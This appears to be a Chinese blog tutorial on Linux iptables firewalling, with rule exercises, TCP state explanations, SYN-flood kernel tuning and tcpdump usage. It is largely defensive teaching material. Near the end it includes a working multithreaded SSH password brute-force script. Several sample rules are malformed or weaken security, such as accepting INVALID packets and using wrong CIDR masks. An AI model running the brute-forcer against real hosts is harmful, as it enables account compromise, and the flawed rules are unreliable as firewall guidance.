iptables(防火墻)

iptables


附件
CC攻擊器-邪惡十六進制2.0 模擬cc攻擊
python寫的暴力破解的腳本 模擬暴力破解攻擊

linux的防火墻 iptables

名詞解釋
dip|sip source(源) destination(目的,目標)
sport|dport

netfilter(iptables)

netfilter --工作在內核軟件,實現數據包的過濾。
iptables --工作應用層一個軟件,用來控制netfilter。
1.netfilter/iptables包過濾防火墻(tcp/ip四層)
1)應用層 --通過軟件為用戶提供接口
2)傳輸層 --提供可靠或不可靠的數據傳輸(TCP/UDP)使用端口來標示服務類型 sport dport
3)網絡層 --提供路由和選址(icmp) sip dip
4)數據鏈路層 --傳輸數據幀(MAC) s _mac arp寫 在局域網內泛洪 來找到我們對應的MAC
5)物理層 --傳輸透明比特流 eth0 eth1
過濾的依據: s_mac/sip/dip/sport/dport/狀態(三次握手/四次斷開)SYN DDOS攻擊怎么防御我們DDOS 小流量
netfilter的邏輯架構: nat 10

image

netfilter防火墻的元素及關系:
netfilter==>表==>鏈==>規則

三張表:

filter 防火墻表,允許和拒絕都在這里實現
nat 地址轉換
mangle 數據包整形

五條鏈:

INPUT 本機進站的數據流
OUTPUT 本機出站的數據流
FORWARD 路由的數據流
POSTROUTING 路由后的數據流
PREROUTING 路由前的數據流

表跟鏈的對應關系:

filter:INPUT,OUTPUT,FORWARD
nat: OUTPUT,PREROUTING,POSTROUTING

mangle:INPUT,OUTPUT,FORWARD,PREROUTING,POSTROUTING

四種數據流:

本機進站的數據流:packet-->ethX-->PREROUTING-->INPUT-->本機
本機出站的數據流:packet-->OUTPUT-->POSTROUTING-->ethX-->destination
路由的數據流:
出去: packet-->eth0-->PREROUTING-->FORWARD-->POSTROUTING-->eth1--destination
回來: packet-->eth1-->PREROUTING-->FORWARD-->POSTROUTING-->eth0--destination
本機訪問本機: 本機-->packet-->lo-->PREROUTING-->INPUT-->本機

本機-->packet-->OUTPUT-->POSTROUTING--lo-->本機

表的匹配順序:

mangle-->nat-->filter

防火墻規則匹配順序:

1.按順序匹配,如果第一條匹配到了就直接執行這條規則的動作,不往下匹配其它規則.

2.如果第一條匹配不到,第二條也匹配不到,繼續往下匹配直到找到匹配的規則,如果找不到匹配默認規則.

傳輸層:協議(tcp/udp)
端口(sport/dport)
網絡層:
IP地址(sip/dip/icmp) ping
數據鏈路層:
mac地址(--mac-source)
物理層:
從哪個網卡進來 -i eth0 eth1 服務器2個地址 外網地址 一個內網地址

iptables操作命令

#iptables --help
Usage: iptables -[AD] chain rule-specification [options]
       iptables -[RI] chain rulenum rule-specification [options]
       iptables -D chain rulenum [options]
       iptables -[LFZ] [chain] [options]
       iptables -[NX] chain
       iptables -E old-chain-name new-chain-name
       iptables -P chain target [options]
       iptables -h (print this help information)

  --append  -A chain            追加規則
  --delete  -D chain            刪除規則
  --delete  -D chain rulenum    刪除指定序號的規則
                                
  --insert  -I chain [rulenum]  插入一條規則(default 1=first) 插入會插入表的第一行
  --replace -R chain rulenum    替換一條規則
                                
  --list    -L [chain]          顯示出鏈或者鏈中的規則
  --flush   -F [chain]          在一個鏈或者所有鏈中清空規則
  --zero    -Z [chain]          清空計數
  --new     -N chain            創建用戶自定義鏈
  --delete-chain
            -X [chain]          刪除用戶自定義鏈
  --policy  -P chain target     指定默認規則
                                Change policy on chain to target
  --rename-chain
            -E old-chain new-chain
                                     重命名用戶自定義鏈
Options:
  --proto       -p [!] proto    指定協議,!代表取反
  --source      -s [!] address[/mask]   --指定源地址
                                source specification
  --destination -d [!] address[/mask]   --指定目標地址
                                destination specification
  --in-interface -i [!] input name[+]   --指定數據從哪個網口進來
                                network interface name ([+] for wildcard)
  --jump        -j target                       --匹配動作
                                target for rule (may load target extension)
  --goto      -g chain
                              jump to chain with no return
  --match       -m match                        --擴展匹配
                                extended match (may load extension)
  --numeric     -n              --端口和IP以數值方式顯示,不作反解
  --out-interface -o [!] output name[+] --指定數據從哪個網口出去
                                network interface name ([+] for wildcard)
  --table       -t table        --指定使用哪個表 (default: `filter')
  --verbose     -v              --顯示詳細信息
  --line-numbers                --顯示規則的序號
  --exact       -x              expand numbers (display exact values)
  • 查看
# iptables -t nat -L -n -v --line
# iptables -t filter -L -n
# iptables -t filter -L INPUT
# iptables -t filter -L INPUT -v -n
# iptables -t filter -L INPUT -n -v --line
# watch -n 0.1 iptables -L INPUT --line -n -v
iptables -nv -L
  • 追加 插入 替換 刪除
追加規則:
# iptables -t filter -A INPUT -i lo -j ACCEPT

插入規則:
# iptables -t filter -I INPUT -i eth0 -j ACCEPT     --插入成為第一條
# iptables -t filter -I INPUT 3 -i eth0 -j ACCEPT       --插入成為第三條規則

替換規則:
# iptables -t filter -R INPUT 3 -i eth1 -j ACCEPT       --替換成為指定規則
    
刪除規則:
# iptables -t filter -D INPUT 2                 --刪除指定鏈指定編號的規則

+++++++++++
#iptables -t filter -A INPUT -i lo -j ACCEPT
#iptables -t filter -A OUTPUT -o lo -j ACCEPT
#iptables -t filter -A INPUT -i eth0 -s 192.168.0.0/24 -d 192.168.0.250 -j ACCEPT
# iptables -t filter -A INPUT -i eth1 -j ACCEPT
# iptables -L INPUT -n --line -v
# iptables -t filer -I INPUT 2 -i eth2 -j ACCEPT   插入默認第二條
# iptables -t filter -I INPUT  -i eth3 -j ACCEPT    插入默認第一條
# iptables -t filter -R INPUT 1 -i eth4 -j ACCEPT  替換默認第一條
#iptables -t filter -D INPUT 1                  刪除默認第一條
# iptables -t filter -F INPUT                   清空filter所有INPUT鏈
#iptables -t filter -F              

#iptables -L INPUT -n --line -v

空規則:
    1、清空一張表
# iptables -t filter -F
注意不會清除默認規則

    2、清空一條鏈中的規則
# iptables -t filter -F INPUT

新建/刪除用戶自定義的鏈:
# iptables -t filter -N uplooking   新建
# iptables -t filter -X uplooking       刪除
# iptables -t filter -X             清空filter表中所有用戶自定義鏈
+++++++++
iptables -t filter -N TCP
iptables -t filter -N UDP
iptables -t filter -A INPUT -i lo -j ACCEPT
iptables -t filter -A INPUT -p tcp -j TCP
++++++++
更改默認規則:
# iptables -t filter -P INPUT ACCEPT
# iptables -t filter -P INPUT DROP

1、iptables擴展匹配

  1. iptables(user space)/netfilter(kernel space)
  2. netfilter組成(表(功能模塊)/鏈/規則)
    filter(INPUT/OUTPUT/FORWARD) 過濾
    nat(PREROUTING/POSTROUTING/OUTPUT) 地址轉換
    mangle(5個鏈 ) 更封裝層數據包結構
    -->PREROUTING-->FORWARD-->POSTROUTING-->
    INPUT | | OUTPUT
    本機

規則的匹原則:

1、自上而下按順序匹配
2、如果匹配到某條規則,執行這個規則動作,就不往后匹配其它規則
3、如果列表的所有的規則都匹配不到,則匹配默認規則
iptables [-t talbe] -A | -I | -D | -R | -E chian option(-s -d -i -o -p --dport -m) -j action(ACCEPT/DROP/REJECT/SNAT/DNAT....)
ACCEPT 接受
DROP 悄悄丟棄
REJECT 明示拒絕
SNAT 基于源地址的nat轉換,其作用是將ip數據包的源地址轉換成另外一個地址
DNAT 目的地址轉換 其作用是將ip數據包的目標地址轉換成另外一個地址
應用層
傳輸層(tcp/udp/sport/doprt/ tcp6個控制位匹配)
網絡層(-s/-d/icmp)
數據鏈路層(mac)
物理層(-i/-o)

擴展匹配

1、通用匹配 -i -o -s -d
-i eth0 從這塊網卡流入的數據 流入一般用INPUT和PREROUING
-o eth0 從這塊網卡流出的數據 流出一般在OUTPUT和PSOTROUTING
-s 源IP
-d 目標IP
2、隱含匹配 tcp udp icmp sport dport
3、擴展匹配 -m mac | iprange | state
-m multiport:表示啟用多端口擴展 之后我們就可以啟用比如 --dports 21,23,80,8080-8100, 3306
常用的ACTION: -j
DROP:悄悄丟棄 nmap
一般我們多用DROP來隱藏我們的身份,以及隱藏我們的鏈表
REJECT:明示拒絕
ACCEPT:接受
custom_chain:轉向一個自定義的鏈
DNAT
SNAT
MASQUERADE:源地址偽裝 nat實驗的時候
REDIRECT:重定向:主要用于實現端口重定向
MARK:打防火墻標記的
RETURN:返回
在自定義鏈執行完畢后使用返回,來返回原規則鏈。

練習題1:

只要是來自于172.16.85.14的都允許訪問我本機的172.16.100.1的SSHD服務
分析:首先肯定是在允許表中定義的。因為不需要做NAT地址轉換之類的,然后查看我們SSHD服務,在22號端口上,處理機制是接受,對于這個表,需要有一來一回兩個規則,如果我們允許也好,拒絕也好,對于訪問本機服務,我們最好是定義在INPUT鏈上,而OUTPUT再予以定義就好。(會話的初始端先定義),所以加規則就是:
定義進來的:
iptables -t filter -A INPUT -s 172.16.0.0/16 -d 172.16.100.1 -p tcp --dport 22 -j ACCEPT
定義出去的: iptables -t filter -A OUTPUT -s 172.16.100.1 -d 172.16.0.0/16 -p tcp --dport 22 -j ACCEPT
將默認策略改成DROP:
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

1、允許ping 127.0.0.1 和 允許 ping 10.1.1.0/24 ,其他服務都禁止

# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT
# iptables -A INPUT -j DROP

或者
# iptables -P INPUT DROP  《--定義默認策略,當在規則表里找不到匹配的規則就采取策略的動作
# iptables -A INPUT -p icmp -i lo -j ACCEPT
# iptables -A INPUT -p icmp -s 10.1.1.0/255.255.255.0 -j ACCEPT



2、只運訪問本機的SSH服務(只允許遠程ssh登錄到本機)

# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 22 -j ACCEPT  <---定義端口的參數 --dport
    還有就是  
定義源端口 --source-port  --sport
定義目的端口 --destination-port --dport

3、定義連續端口
    iptables -A INPUT -p tcp --dport 20:100 -j ACCEPT  <---允許訪問 20到100的端口


4、定義多端口 <---引入一個“模塊”的概念
    iptables -A INPUT -m multiport -p tcp --dports  22,80,110 -j ACCEPT
        -m 指定模塊 
        multiport 支持多端口的擴展模塊

5、允許和內網的客戶(10.1.1.0/24)進行傳輸數據(包括ping)
    iptables -P INPUT DROP
    iptables -A INPUT -p ALL -i eth0  -s 10.1.1.0/24 -j ACCEPT

6、決絕訪問色情網站www.baidu.com
    iptables -A OUTPUT -d www.baidu.com  -j DROP

7、通過硬件地址進行過濾
    -m  mac  --mac-source [!] address
    iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p icmp -j REJECT
    
    注意REJECT 和 DROP 區別

    
8、定義連續的IP地址
    iptables -A INPUT  -m iprange --src-range 10.1.1.140-10.1.1.254 -j DROP

9、對外只開放web服務,其他一切不放行,不允許進來也不允許出去
# iptables -P OUTPUT DROP
# iptables -P INPUT DROP
# iptables -A INPUT -p tcp --dport 80 -j ACCEPT  <--tcpdump tcp port 80 只看到進來的,沒有出去的
# iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED,RELATED -j ACCEPT

10、綜合應用:
    本機需要開放的服務有: ssh(22) 、 web(80) 、 ftp(21 20) 、 DNS(53) 、pop3(110)、pop3s(995)、IMAP(143)、IMAPS(993)、smtp(25)等服務。
    其中web 、ftp、pop3、pop3s、IMAP、IMAPS 允許所有網絡的人訪問;
    ssh 只允許本地局域網中的某個MAC地址訪問
    只允許本地局域網的用戶發送郵件
    只允許本地局域網的用戶查詢DNS


# modprobe ip_conntrack_ftp
# iptables -P INPUT DROP
# iptables -P OUTPUT DROP
# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# iptables -A INPUT -i lo -j ACCEPT
# iptables -A INPUT -p tcp -m multiport --destination-ports 20,21,80,110,143,993,995 -j ACCEPT
# iptables -A INPUT -m mac --mac-source 00:25:86:8E:AF:C8 -p tcp -s 10.1.1.0/24 --dport 22 -j ACCEPT
# iptables -A INPUT -p tcp --dport 25 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p tcp --dport 53 -s 10.1.1.0/24 -j ACCEPT
# iptables -A INPUT -p udp --dport 53 -s 10.1.1.0/24 -j ACCEPT

練習題icmp:

icmp:0 8
0:應答請求
8:ping請求
icmp對照表
假如我們允許自己ping別人,但是別人ping自己ping不通如何實現呢?
分析:對于ping這個協議,進來的為8(ping),出去的為0(響應).我們為了達到目的,需要8出去,允許0進來

在出去的端口上:iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
在進來的端口上:iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 8 -j ACCEPT  
iptables -A INPUT -p icmp --icmp-type 0 -j ACCEPT  
iptables -A OUTPUT -p icmp --icmp-type 0 -j DROP  
iptables -A INPUT -p icmp --icmp-type 8 -j DROP  
小擴展:對于127.0.0.1比較特殊,我們需要明確定義它  
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
iptables -A OUTPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT  
/lib/modules/2.6.18-194.el5/kernel/net/ipv4/netfilter/:存放模塊的位置  
-m connlimit:每個IP的并發連接數(TCP) --關注的是新發起的連接(NEW --syn)  
mount -o loop rhel55.iso /mnt  
rpm -Uvh /mnt/Server/iptables-1.3.5-5.3.el5_4.1.i386.rpm  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit --connlimit-above 1 -j DROP  
iptables -t filter -A INPUT -s 192.168.1.115 -p tcp --dport 22 -m connlimit ! --connlimit-above 1 -j ACCEPT  
-m icmp:ping包請求與發送  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-reply -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type echo-request -j ACCEPT  
[root@ ~]# iptables -A INPUT -p icmp -j DROP  
[root@ ~]# iptables -A OUTPUT -p icmp -m icmp --icmp-type 0 -j ACCEPT ==&gt; 0 相當于 echo-reply  
[root@ ~]# iptables -A INPUT -p icmp -m icmp --icmp-type 8 -j ACCEPT ==&gt; 8 相當于 echo-request  
-m ipranges:IP范圍  
[!] --src-range ip-ip Match source IP in the specified range  
[!] --dst-range ip-ip Match destination IP in the specified range  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --src-range 192.168.1.1-192.168.1.100 -j ACCEPT  
[root@ ~]# iptables -t filter -A FORWARD -m iprange --dst-range 192.168.1.101-192.168.1.252 -j DROP  
-m limit:速率限制  
[root@ ~]# watch iptables -L INPUT -nv  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -m limit --limit 1/second --limit-burst 1 -j ACCEPT  
[root@ ~]# iptables -A INPUT -s 192.168.1.115 -p icmp -m icmp --icmp-type echo-request -j DROP  
-m mac:匹配源地址的 MAC 地址  
[root@ ~]# iptables -A INPUT -m mac --mac 00:0C:29:58:01:9A -p icmp -j DROP  
-m multiport:多端口  
[root@ html]# iptables -A INPUT -s 192.168.1.0/24 -p tcp -m multiport --dport 22:25,25,110,80,53,21 -j DROP  
-m state(NEW/ESTABLISHED/RELATED/INVALID):  
NEW --第一個數包,跟TCP狀態無關  
ESTABLISHED --第二個數據包  
RELATED --已經發生關系的數據(FTP)  
INVALID --無效數據包  

個人簡單的防火墻(狀態):

ESTABLISHED 不允許其他主機發起的主動訪問,只允許本地主機主動發起的發功能文以及lo通訊
[root@stu110 ~]# iptables -P INPUT DROP
[root@stu110 ~]# iptables -A INPUT -i lo -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
[root@stu110 ~]# iptables -A INPUT -p icmp -m state --state NEW -m limit --limit 1/second --limit-burst 3 -j ACCEPT
[root@stu110 ~]# iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
RELATED:已發生關系的
(1)vsftpd數據傳輸(考慮模式,默認是主動模式)

主動模式:

21 --控制端口
20 --數據端口

被動模式:

21 --控制端口
1024+ --數據端口
[root@mail ~]# insmod /lib/modules/2.6.18-164.el5xen/kernel/net/ipv4/netfilter/ip_conntrack_ftp.ko 需要模塊的支持,內核才能支持 RELATED狀態
[root@mail ~]# iptables -t filter -A INPUT -p tcp --dport 21 -j ACCEPT
[root@mail ~]# iptables -t filter -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
被動模式/主動:
service vsftpd start
iptables -A INPUT -p tcp -m multiport --dport 21 -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
modproble ip_conntrack_ftp --加載FTP狀態自動跟蹤模塊,它可以完成自動切換端口
-m string:字符串內容進行匹配(局限大,效率低,不太用)
[root@ ~]# iptables -A INPUT -s 192.168.1.8 -p tcp --dport 22 -m string --algo bm --string "sex" -j DROP
-m time:時間限制
[root@ linux]# insmod /lib/modules/$(uname -r)/kernel/net/ipv4/netfilter/ipt_time.ko
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -m time --timestart 9:00 --timestop 17:00 --days Mon,Tue,Wed,Thu,Fri -j ACCEPT
[root@ linux]# iptables -t filter -A INPUT -s 192.168.1.1.0/24 -p tcp --dport 80 -j DROP


抓包命令
tcpdump port 80 -nn -v -S
tcpdump port 80 -nn -v -S
位碼即tcp標志位,有6種標示:

SYN(synchronous建立聯機)

ACK(acknowledgement 確認)

PSH(push傳送)

FIN(finish結束)

RST(reset重置)

URG(urgent緊急)

Sequence number(順序號碼)

Acknowledge number(確認號碼)
三次握手狀態意義:
LISTEN - 偵聽來自遠方TCP端口的連接請求;
SYN-SENT -在發送連接請求后等待匹配的連接請求;
SYN-RECEIVED - 在收到和發送一個連接請求后等待對連接請求的確認;
ESTABLISHED- 代表一個打開的連接,數據可以傳送給用戶;
FIN-WAIT-1 - 等待遠程TCP的連接中斷請求,或先前的連接中斷請求的確認;
FIN-WAIT-2 - 從遠程TCP等待連接中斷請求;
CLOSE-WAIT - 等待從本地用戶發來的連接中斷請求;
CLOSING -等待遠程TCP對連接中斷的確認;
LAST-ACK - 等待原來發向遠程TCP的連接中斷請求的確認;
TIME-WAIT -等待足夠的時間以確保遠程TCP接收到連接中斷請求的確認;
CLOSED - 沒有任何連接狀態;
TCP/IP協議中,TCP協議提供可靠的連接服務,采用三次握手建立一個連接,如圖1所示。

(1)第一次握手:建立連接時,客戶端A發送SYN包(SYN=j)到服務器B,并進入SYN_SEND狀態,等待服務器B確認。

(2)第二次握手:服務器B收到SYN包,必須確認客戶A的SYN(ACK=j+1),同時自己也發送一個SYN包(SYN=k),即SYN+ACK包,此時服務器B進入SYN_RECV狀態。

(3)第三次握手:客戶端A收到服務器B的SYN+ACK包,向服務器B發送確認包ACK(ACK=k+1),此包發送完畢,客戶端A和服務器B進入ESTABLISHED狀態,完成三次握手。

完成三次握手,客戶端與服務器開始傳送數據。


四次揮手是斷開連接
由于TCP連接是全雙工的,因此每個方向都必須單獨進行關閉。這個原則是當一方完成它的數據發送任務后就能發送一個FIN來終止這個方向的連接。收到一個 FIN只意味著這一方向上沒有數據流動,一個TCP連接在收到一個FIN后仍能發送數據。首先進行關閉的一方將執行主動關閉,而另一方執行被動關閉。

CP的連接的拆除需要發送四個包,因此稱為四次揮手(four-way handshake)??蛻舳嘶蚍掌骶芍鲃影l起揮手動作,在socket編程中,任何一方執行close()操作即可產生揮手操作。

(1)客戶端A發送一個FIN,用來關閉客戶A到服務器B的數據傳送。

(2)服務器B收到這個FIN,它發回一個ACK,確認序號為收到的序號加1。和SYN一樣,一個FIN將占用一個序號。

(3)服務器B關閉與客戶端A的連接,發送一個FIN給客戶端A。

(4)客戶端A發回ACK報文確認,并將確認序號設置為收到序號加1。

  1. 為何主機A在發送了最后的確認后沒有進入CLOSED狀態,反而進入了一個2MSL的TIME-WAIT。主要作用有兩個:第一,確保主機A最后發送的確認能夠到達主機B。如果處于LAST-ACK狀態的主機B一直收不到來自主機A的確認,它會重傳斷開連接請求,然后主機A就可以有足夠的時間去再次發送確認。但是這也只能盡最大力量來確保能夠正常斷開,如果主機A的確認總是在網絡中滯留失效,從而超過了2MSL,最后也無法正常斷開;第二,如果主機A在發送了確認之后立即進入CLOSED狀態。假設之后主機A再次向主機B發送一條連接請求,而這條連接請求比之前的確認報文更早地到達主機B,則會使得主機B以為這條連接請求是在舊的連接中A發出的報文,并不看成是一條新的連接請求了,即使得這個連接請求失效了,增加2MSL的時間可以使得這個失效的連接請求報文作廢,這樣才不影響下次新的連接請求中出現失效的連接請求。
  2. 在下面的抓包實驗中,為什么斷開連接請求報文只有三個,而不是四個。因為在TCP連接過程中,確認的發送有一個延時(即經受延時的確認),一端在發送確認的時候將等待一段時間,如果自己在這段事件內也有數據要發送,就跟確認一起發送,如果沒有,則確認單獨發送。而我們的抓包實驗中,由服務器端先斷開連接,之后客戶端在確認的延遲時間內,也有請求斷開連接需要發送,于是就與上次確認一起發送,因此就只有三個數據報了。

DDOS原理,及輕量級別攻擊的防止

# vim /etc/sysctl.conf

net.ipv4.tcp_max_syn_backlog = 8096 --超過最大連接數后產生新syn隊列的長度
net.ipv4.tcp_synack_retries = 2 --syn確認的重試次數
net.ipv4.ip_local_port_range = 1024 65535--表示用于向外連接的端口范圍。缺省情況下很?。?2768到61000,改為1024到65000。
net.ipv4.tcp_syncookies = 1 --表示開啟SYNCookies。當出現SYN等待隊列溢出時,啟用cookies來處理,可防范少量SYN攻擊,默認為0,表示關閉;
net.ipv4.tcp_tw_reuse = 1 --表示開啟重用。允許將TIME-WAITsockets重新用于新的TCP連接,默認為0,表示關閉;
net.ipv4.tcp_tw_recycle = 1 --表示開啟TCP連接中TIME-WAIT sockets的快速回收,默認為0,表示關閉。
net.ipv4.tcp_max_tw_buckets=5000--表示系統同時保持TIME_WAIT套接字的最大數量,如果超過這個數字,TIME_WAIT套接字將立刻被清除并打印警告信息。默認為180000,改為5000。
sysctl -p
1、通過iptables防止輕量級別的DDOS
-m limit
-m connlimit
2、DDOS的原理,三次握手(客戶端第三次不回應服務端)
3、通過內核增大TCP緩沖區,支持更多的連接。
4、增加更強大的硬件防火墻,用于丟棄(過濾)掉不正常syn請求,搭建負載均衡集群,另外保證你的外網有足夠大的帶寬
第一種 一

從哪個網卡出去 -o

傳輸層:協議(tcp/udp)
端口(sport /dport)
網絡層:
IP地址(sip /dip /icmp) ping
數據鏈路層:
mac地址(--mac-source)
物理層:
從哪個網卡進來 -i eth0 eth1 服務器2個地址 外網地址 一個內網地址
從哪個網卡出去 -o

iptables防御cc攻擊腳本

#!/bin/sh
drop_ip=`tail -n 5000 /data/logs/www.log |awk '{a[$1]++}END{for(i in a)if(a[i]>300)print i}'`
if test -n $drop_ip;then
for i in $drop_ip
do
if [ -z "`iptables -nvL |grep $i`" ];then
/sbin/iptables -I INPUT -s $i -j DROP
fi
done
fi

iptable通用腳本

#!/bin/bash

# Descript:The Firewall Script.

iptables -F INPUT
iptables -F OUTPUT
iptables -P INPUT DROP
iptables -P OUTPUT ACCEPT
iptables -A INPUT -m state --state ESTABLISHED,INVALID -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT
iptables -A INPUT -p tcp -m multiport --dport 8001:8030,5001:5020,443,22,21,843,80 -j ACCEPT  
iptables -A INPUT -p tcp -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp -s 192.168.0/16 -j ACCEPT
iptables -A INPUT -p tcp -s 172.16.0.0/8 -j ACCEPT
iptables -I INPUT -s 8.8.8.8 -j ACCEPT
iptables -I INPUT -s 127.0.0.1 -p udp --dport 161 -j ACCEPT
iptables -A INPUT -p icmp -j ACCEPT
iptables -A INPUT -p udp -m multiport --dport 8001:8020 -j ACCEPT
  • 使用python多線程暴力破解linux密碼
#!/bin/python
import optparse  
import time  
from threading import *  
from pexpect import pxssh  
  
maxConnections = 100 
connection_lock = BoundedSemaphore(value=maxConnections)  
  
Found = False  
Fails = 0  
  
def connect(host, user, password, release):  
    global Found  
    global Fails  
  
    try:  
        s = pxssh.pxssh()  
        s.login(host, user, password)  
        print '[+] Password Found: ' + password  
        Found = True  
    except Exception, e:  
        if 'read_nonblocking' in str(e):  
            Fails += 1  
            time.sleep(5)  
            connect(host, user, password, False)  
        elif 'synchronize with original prompt' in str(e):  
            time.sleep(1)  
            connect(host, user, password, False)  
  
    finally:  
        if release: connection_lock.release()  
  
def main():  
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>'  
                              )  
    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')  
    parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')  
    parser.add_option('-u', dest='user', type='string', help='specify the user')  
  
    (options, args) = parser.parse_args()  
    host = options.tgtHost  
    passwdFile = options.passwdFile  
    user = options.user  
  
    if host == None or passwdFile == None or user == None:  
        print parser.usage  
        exit(0)  
          
    fn = open(passwdFile, 'r')  
    for line in fn.readlines():  
        if Found:  
            print "[*] Exiting: Password Found"  
            exit(0)  
        if Fails > 5:  
            print "[!] Exiting: Too Many Socket Timeouts"  
            exit(0)  
  
        connection_lock.acquire()  
        password = line.strip('\r').strip('\n')  
        print "[-] Testing: "+str(password)  
        t = Thread(target=connect, args=(host, user, password, True))  
        child = t.start()  
  
if __name__ == '__main__':  
    main()  

tcpdump 抓包工具

1)tcpdump(傳輸/網絡層)

tcpdump -i eth0

tcpdump -i eth0 -vnn

-v:顯示包含有TTL,TOS值等等更詳細的信息

-n:不要做IP解析為主機名

-nn:不做名字解析和端口解析

更有針對性的抓包:

針對IP,網段,端口,協議

tcpdump -n -i eth0 -vnn host 192.168.0.154 --主機地址里邊只要包含地址有:192.168.0.154

tcpdump -i eth0 -vnn net 192.168.0.0 /24 --抓取一個網段數據包

tcpdump -i eth0 -vnn port 22

tcpdump -i eth0 -vnn udp

tcpdump -i eth0 -vnn icmp ping

tcpdump -i eth0 -vnn arp



$x = y$$x = y$ # tcpdump -i eth0 -vnn ip

tcpdump -n -i eth0 -vnn src host 192.168.0.154

tcpdump -i eth0 -vnn dst host 192.168.0.154

tcpdump -i eth0 -vnn src port 22

tcpdump -i eth0 -vnn src host 192.168.0.253 and dst port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 or port 22

tcpdump -i eth0 -vnn src host 192.168.0.154 and not port 22

抓包最主要的功能在于調試,比如在調試某個服務的時候 明明服務起來了 但是不知道為什么鏈接不上 可以通過抓包工具來測試看看請求包有沒有過來服務器,來判斷是傳輸過程中失敗了 還是被服務器拒絕了

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。

推薦閱讀更多精彩內容